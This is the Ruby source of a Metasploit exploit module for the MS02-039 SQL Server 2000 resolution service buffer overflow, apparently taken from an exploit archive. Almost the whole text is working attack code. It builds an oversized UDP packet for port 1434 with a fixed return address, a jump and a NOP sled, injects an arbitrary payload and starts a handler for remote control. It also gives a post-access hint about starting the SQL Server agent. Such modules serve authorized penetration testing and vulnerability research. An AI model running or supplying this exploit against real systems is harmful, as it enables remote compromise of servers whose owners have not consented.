Microsoft SQL Server – Resolution Overflow (MS02-039) (Metasploit)
## # $Id: ms02_039_slammer.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Resolution Overflow', 'Description' => %q{ This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. This module should work against any vulnerable SQL Server 2000 or MSDE install (pre-SP3). }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2002-0649'], [ 'OSVDB', '4578'], [ 'BID', '5310'], [ 'MSB', 'MS02-039'], ], 'Privileged' => true, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'MSSQL 2000 / MSDE <= SP2', { 'Platform' => 'win', 'Ret' => 0x42b48774, }, ], ], 'Platform' => 'win', 'DisclosureDate' => 'Jul 24 2002', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(1434) ], self.class) end def check info = mssql_ping if (info['ServerName']) print_status("SQL Server Information:") info.each_pair { |k,v| print_status(" #{k + (" " * (15-k.length))} = #{v}") } return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect_udp print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret)) print_status("Execute 'net start sqlserveragent' once access is obtained"); # \x68:888 => push dword 0x3838383a buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888" # Return to the stack pointer buf[ 97, 4] = [target.ret].pack('V') # Which lands right here buf[101, 6] = make_nops(6) # Jumps 8 bytes ahead buf[107, 2] = "\xeb\x08" # Write to thread storage space to avoid a crash buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV') # And finally into the payload buf[117,payload.encoded.length] = payload.encoded udp_sock.put(buf) disconnect_udp handler end end |